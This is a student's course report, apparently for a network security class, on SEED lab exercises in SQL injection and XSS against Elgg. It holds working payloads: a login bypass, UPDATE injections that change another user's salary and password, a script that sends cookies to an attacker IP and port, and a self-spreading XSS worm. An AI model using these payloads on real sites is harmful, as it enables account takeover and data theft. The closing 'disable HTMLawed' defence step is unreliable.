20212820 2021-2022-2 《网络攻防实践》第十周作业
实践内容
(一)Web应用程序体系结构和安全威胁
1.Web体系结构是一种实验浏览器在互联网或企业内部网上进行访问操作的应用软件形态,体系结构如图所示,浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;“胖”服务器负责完成主要业务计算。
- 浏览器:如IE、Firefox、Chrome等,都使用HTTP/HTTPS协议。
- Web服务器:通常被描述为HTTP的守护程序,接受Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传输给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。
- Web应用程序:现代Web应用的核心是Web应用程序,随着web应用技术的发展,web应用程序的功能越加复杂化,通常由三层组成,表示层、业务逻辑层和数据层。
- 数据库:有时也被称为后台,是Web应用存储数据的地方,流行的数据库管理软件包括微软的MS SQL Sever、Oracle和开源的MySQL等,这些数据库支持统一的数据库查询语言SQL。
- 传输协议HTTP/HTTPS:超文本传输协议默认使用TCP80端口,HTTP是相对简单、无状态的、基于ASCII码的协议,其定义在IETF的标准文档RFC2616和RFC1945中,使用统一的资源标识符URI,对范围从静态文本页面到动态文本视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式,来请求一项资源,如果资源存在且可用,服务器就向Web客户端响应这项资源。
2.Web应用安全威胁
- 针对浏览器和终端用户的web浏览器安全威胁。
- 针对传输网络的网络协议安全威胁。
- 系统层安全威胁。
- Web服务器软件安全威胁。
- Web应用程序安全威胁。
- 数据安全威胁。
(二)Web应用攻防技术概述
1.信息的收集:收集的情报包括服务器域名、IP地址和虚拟IP地址、web服务器端口和其他开放的服务等。查询方法如第三章的whois查询和DNS查询。
-
手工审查程序结构和源代码:包含的不同类型信息有,
- 静态和动态生成的页面,Web站点上的静态HTML页面可能包含一些有价值的信息。
- 目录结构,攻击者可能会对服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查。
- 辅助性文件,如CSS级联样式表、xml样式表、JavaScript文件、include文件等。
- 输入表单,是web应用程序接受用户输入的主要途径。
- 查询字符串,可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令。
-
自动下载与镜像Web站点页面:一些自动下载的工具能提高审查的效率,Linux系统上可使用lynx、wget等工具,Windows系统山可使用TelePort Pro、Offline Explorer等软件。
-
使用Google Hacking技术审查与探测Web应用程序,在web站点中的配置、计算机代码及包含的数据中,寻找安全漏洞与敏感信息的黑客技术。
-
Web应用程序安全评估与漏洞检测,在获得一些关键信息后,渗透测试人员还会对目标应用程序的各个功能做一次深入研究和评估,一般使用一些辅助工具
2.攻击Web服务器软件:存在下述五类安全漏洞。
- 数据驱动的远程代码执行漏洞:Web也面临着缓冲区溢出、不安全指针、格式化字符串等一系列安全漏洞远程攻击。
- 服务器功能扩展模块漏洞:增加的其他功能包括web分布式写作与版本管理协议等,编写的质量要差一些,所以存在安全漏洞。
- 样本文件安全漏洞:web服务器软件厂商经常在软件包中包含样本文件和代码示例来演示自己平台的新奇用法,这些代码也容易受到攻击。
- 源代码泄露:特定情况下,攻击者可利用这些漏洞查看系统级的文件。
- 资源解析攻击:在处理资源请求时需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析,可能会在解析过程中遗漏一些输入合法性与合理性验证的处理,从而导致攻击。
3.攻击web应用程序安全最薄弱的环节在web应用程序上,2004年将web应用程序安全威胁分为如下6类。
- 针对认证机制的攻击:用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善的弱点等。
- 授权机制攻击:用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
- 客户端攻击:扰乱或者渗透攻击web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等。
- 命令执行攻击:在web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入等。
- 信息暴露:获取web站点具体系统信息的攻击手段,包括功能滥用、拒绝服务攻击等。
- 逻辑攻击:扰乱或者渗透攻击web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击等。
- 2010年归类的15种安全弱点如下图所示:
4.攻击web数据内容:web站点还面临着针对敏感数据内容的威胁攻击,具体包括如下三个方面。
- 安全敏感数据泄露:由于不安全配置、使用者疏忽或缺乏安全意识,一些web站点上包含的安全敏感内容可能会被攻击者窃取,方法通常有手工审查、镜像站点内容和使用Google Hacking等。
- 网站篡改:在利用特定攻击手段入侵网站后,将网站的页面内容进行替换,从而宣示入侵成功或表达某种诉求。
- 不良信息内容上传:接受用户上传内容的网站如果缺乏有效的管理和安全审查,那么很容易被添加不良甚至违法信息。
5.防范措施
- web站点网络传输安全设防措施:
- 对加密过程进行保护;
- 通过加密的连接通道来管理web站点,避免使用未经加密的传输协议;
- 对关键的web服务器设置静态绑定的MAC-IP映射。
- web站点操作系统及服务安全设防:
- 谨慎考虑是否采用动态页面技术;
- 尽量使用良好安全声誉及稳定技术支持力量的web应用软件包。
- 开发过程中重视安全编程、持续性的安全测试与维护;
- 使用web服务器软件提供的日志功能。
- web站点数据安全设防措施:
- 提高网站内容维护人员的数据安全意识。
- 对维护网站的数据安全实施蠕虫监测与防护。
(三)SQL注入
1.SQL注入原理
- SQL注入是利用web应用程序数据层存在的输入验证不完善机制实施的代码注入攻击技术。是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如'"反引号;%#__--等,或者没有进行严格的判断,如未判断输入参数是否为合法整数型参数等。
- 原理是向web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令。
- SQL注入攻击步骤:
- 1.发现SQL注入点;
- 2.判断后台数据库类型;
- 3.后台数据库中管理员用户口令字猜解
- 4.上传ASP后门,得到默认账户权限;
- 5.本地特权提升;
- 6.利用数据库扩展存储过程执行Shell命令。
2.SQL注入工具:有如下一些自动化注入工具可提升攻击效率。
- Wposion:能在动态的web文档中找出SQL注入漏洞;
- wieliekoek.pl能以网站进行工具生成的输出为输入,找出含有单表页面;
- SPIKE Proxy工具允许对待字符串进行定制,并自动化执行SQL注入;
- 国内也有许多软件,如CSC、NBSI、HDSI、WED等。
3.攻击实例
- 某高校科研管理机构的经费来源查询系统,是一个非常简单的ASP动态页面程序,在检索表中需用户输入一个对来款单位进行查询的关键字,便只会返回包含给定关键字的来款记录。猜想使用的SQL语句应该是类似于
“SELECT*FROM some_tbl where some_rec like '%INPUT%'”
。然而这个程序没有对输入做任何安全验证和过滤,因此当要查询其他科员人员的经费情况时就会在输入框内填写a%'or'a'like'%a
,点击检索后就可得到全部信息记录,这是因为程序在注入的输入后,使用的SQL语句就会变为SELECT*FROM some_tbl where some_rec like '%a%'or'a' like '%a'
,而'a' like '%a'是一个永真式,使得WHERE子句永真。
4.防范措施主要包括如下几个方面
- 使用类型安全的参数编码机制;
- 凡是来自外部的用户输入,必须进行完备检查;
- 将动态的SQL语句替换为存储过程、预编译SQL或ADO命令对象;
- 加强SQL数据库服务器的配置与连接。
(四)XSS跨站脚本攻击
1.攻击技术原理
- XSS攻击的最终目标并不是web服务器,而访问这些web服务器的用户。攻击者可以利用web应用程序中的安全漏洞在服务器端网页中插入一些恶意发客户端脚本代码,当其他用户访问网页时,浏览器就会下载并执行这些网页中的恶意脚本,从而遭受到攻击。
2.攻击类型
- 安全界普遍将其分为两种类型,即持久性XSS漏洞和非持久性XSS漏洞,另外又发现了一种基于DOM的xss攻击技术。
- 持久性XSS漏洞是危害最严重的xss漏洞,通常出现于一些可以将用户输入持久性地保存在web服务器端,并在一些“正常”的页面中持续性地显示,从而能够影响所有访问这些页面的用户。还可被设计为xss蠕虫。
- 非持久性的xss漏洞是最普遍的类型,当web浏览器在HTTP请求参数和HTML提交表单中的数据,被立即由服务器端脚本使用产生一个提供给该用户的界面,可能导致跨站脚本攻击。一个攻击的示意图如下所示:
3.攻击实例
- SEED实验环境中phpBB论坛有xss漏洞,存在于posting.php文件中,该文件的源代码中在接受用户发表帖子的输入时,仅通过post数据参数中的sid进行认证,容易受到Cookie欺骗假冒攻击。而对输入的message字段没有进行任何安全检查和过滤,便直接插入数据表中,而在viewtopic.php源代码显示帖子内容时,直接将数据表中的内容进行读取显示。通过如下步骤来测试和利用漏洞。
- 测试XSS漏洞,在seed环境中phpBB论坛上发布含有脚本
<script>alert('XSS');</script>
的帖子,就会弹出内容为“XSS”的对话框。 - 显示用户的会话Cookie,将发布的帖子转换为
<script>alert(document.cookie);</script>
。 - 窃取用户会话Cookie,首先攻击者家属一个服务器,服务器可将收到的HTTP请求显示在屏幕中,发布一个包含如下脚本的帖子,当其他用户访问该帖子页面时,植入的脚本会在浏览器中自动执行。
- 假冒其他用户修改帖子,通过使用Firefox扩展组件来实现。
- 编写实现xss蠕虫,只要将含有蠕虫的代码发布在论坛上,当受害主机访问此页面时,蠕虫将自动抽取主机Cookie。
- 测试XSS漏洞,在seed环境中phpBB论坛上发布含有脚本
4.防范措施
- 服务器端防范:首要防范措施是对所有来自外部的用户输入进行完备检查,再通过下面三种方法来防范。
- 输入验证:如web程序在某个位置收到的用户提交的数据可能会被复制到响应界面中,web应用程序应进行严格的过滤和验证。
- 输出净化:对要复制的数据进行HTML编码,以净化可能的恶意字符。
- 消除危险的输入点:web应用程序界面有一些位置,插入用户提交的输入就会造成极大的风险。
- 客户端:需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置其为只读模式。
实践过程
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
1.熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
i.首先在SEED里登录mysql,密码为seedubuntu
。
ii.打开数据库并查看数据表。
iii.使用
select * from credential;
来查看所有员工的信息,包括生日,薪水等。
2、对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
i.打开www.SEEDLabSQLInjection.com,尝试登录发现失败
ii.在 /var/www/SQLInjection中有PHP的登录验证时的源代码,查看unsafe_home.php
iii.可以发现登录的用户名为“Admin”,我们找到
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';
这一句,将$input_uname
改为Admin' #
,原理就是用户名校验后的语句都被注释了,那么即使是错误的密码也可以登录系统.所以再次打开登录界面,在账号处输入Admin' #,然后密码空着就可以直接登录。
3、对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
i.下面我们对Boby的信息进行修改,从Profile Edit页面输入信息去改,利用它的UPDATE的验证漏洞。首先找到update的语句,在 unsafe edit backend.php文件中,路径为 /var/www/SQLInjection
ii. 在登陆界面中输入
', salary='12345' where Name='Boby';#
,更改Boby的薪水为12345,
iii.下面修改Boby的密码,首先先要将我们修改的密码值用sha1进行加密,在终端输入
echo -n 'boby123'|sha1sum
。
iv.在刚更改的界面那里,输入
', Password='1be367991d90b5fb03a43a21aaf74733058b6bc3' where Name='Boby';#
完成对Boby密码的更改,然后登陆验证一下,能成功登陆。
4、SQL对抗:修复上述SQL注入攻击漏洞。
i.出现sql注入漏洞的根本原因是数据与字段绑定在一起,所以修复漏洞的办法就是分开数据和字段,先使用占位符占位,获取到数据之后再进行填充,就可以避免注入攻击
对于unsafe_home.php
页面
ii.此处的代码应修改为
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);
iii.对于unsafe_edit_backend.php
页面
iv.此处代码应该修改成
$sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;"); $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);}else{ $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,PhoneNumber= ? where ID=$id;"); $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber); }
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
1、发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
i.用火狐浏览器打开XSS实验的网站,使用用户名alice
密码seedalice
登录网站
ii.在个人主页这里点击
Edit profile
,然后在Brief description处编辑一段JavaScript代码<script>alert("20212820")</script>
,这段代码的作用就是弹出提示框
2、弹窗显示cookie信息:将cookie信息显示。
i.修改Brief description处的JavaScript代码为<script>alert(document.cookie)</script>
3、窃取受害者的cookies:将cookie发送给攻击者。
i.修改Brief description处的JavaScript代码为<script>document.write('<img src="图片链接"/>')</script>
可以实现展示图片,我们可以吧src设置为自身的某个端口,ip是此seed主机的ip,返回受害者的cookie进行窃取。JavaScript代码为<script>document.write('<img src=172.16.69.110:7777?cookie='+ document.cookie + '>')</script>
ii.成功获取到对方的cookie
4、成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
i.进入boby页面,点击add friend
ii.按f12,查看参数,有三个,分别是
friend
__elgg_token
__elgg_ts
,所以我们只要构造出这三个东西,就可以自动添加好友了
iii.在Alice页面edit profile->file About me中输入下列js脚本代码,发现自动就添加好友成功了
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
5、修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
i.和上面一样操作,f12查看edit下传输的数据
ii.在Alice页面的About me中输入下列js脚本代码,实现修改好友简介
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "name=" + userName + "&description=<p>this had been changed by 20211911's xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(content); } } </script
iii.登录boby 点击alice主页后,发现boby的简介变了
6、编写XSS蠕虫。
i.编写的代码放在alice的主页,同上操作,让boby去访问alice的主页,发现boby简介被修改了
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=44; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
ii.同理,登录charlie账号,查看boby主页后,可以看到charlie主页已被更改
7、对抗XSS攻击。
i.登录Admin的账户 ,用户名Admin
密码seedelgg,
登录成功后点击Administration
,点击Plugins
ii.关闭HTMLawed
iii.查看alice的简介,发现js代码出现了,并且没有感染导致简介被修改
学习中遇到的问题及解决
问题1:seedubuntu无法复制粘贴
问题1解决方案:安装toos工具
实践总结
通过这次实验,对于数据库的知识我再次温顾了,熟悉并熟练了,其次最重要就是学到了简单的SQL注入原理,这种方式真的十分有趣,我越来越发现网络安全需要学习的真的好多好多。